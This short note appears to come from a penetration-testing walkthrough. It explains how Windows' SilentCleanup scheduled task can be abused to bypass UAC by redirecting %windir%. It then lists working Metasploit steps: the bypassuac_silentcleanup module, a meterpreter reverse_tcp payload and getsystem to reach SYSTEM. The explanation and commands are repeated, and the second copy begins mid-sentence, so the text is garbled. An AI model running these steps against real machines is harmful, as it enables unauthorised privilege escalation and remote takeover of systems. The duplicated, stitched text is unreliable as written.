There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as
Users, automatically runs with elevated privileges. When it runs, it executes the file
%windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's
environment variables, %windir% (normally pointing to C:\Windows) can be changed to point to
whatever we want, and it'll run as admin.
use exploit/windows/local/bypassuac_silentcleanup
set session 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
and then Elevate to the high privilege
getsystem
Users, automatically runs with elevated privileges. When it runs, it executes the file
%windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's
environment variables, %windir% (normally pointing to C:\Windows) can be changed to point to
whatever we want, and it'll run as admin.
use exploit/windows/local/bypassuac_silentcleanup
set session 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
and then Elevate to the high privilege
getsystem
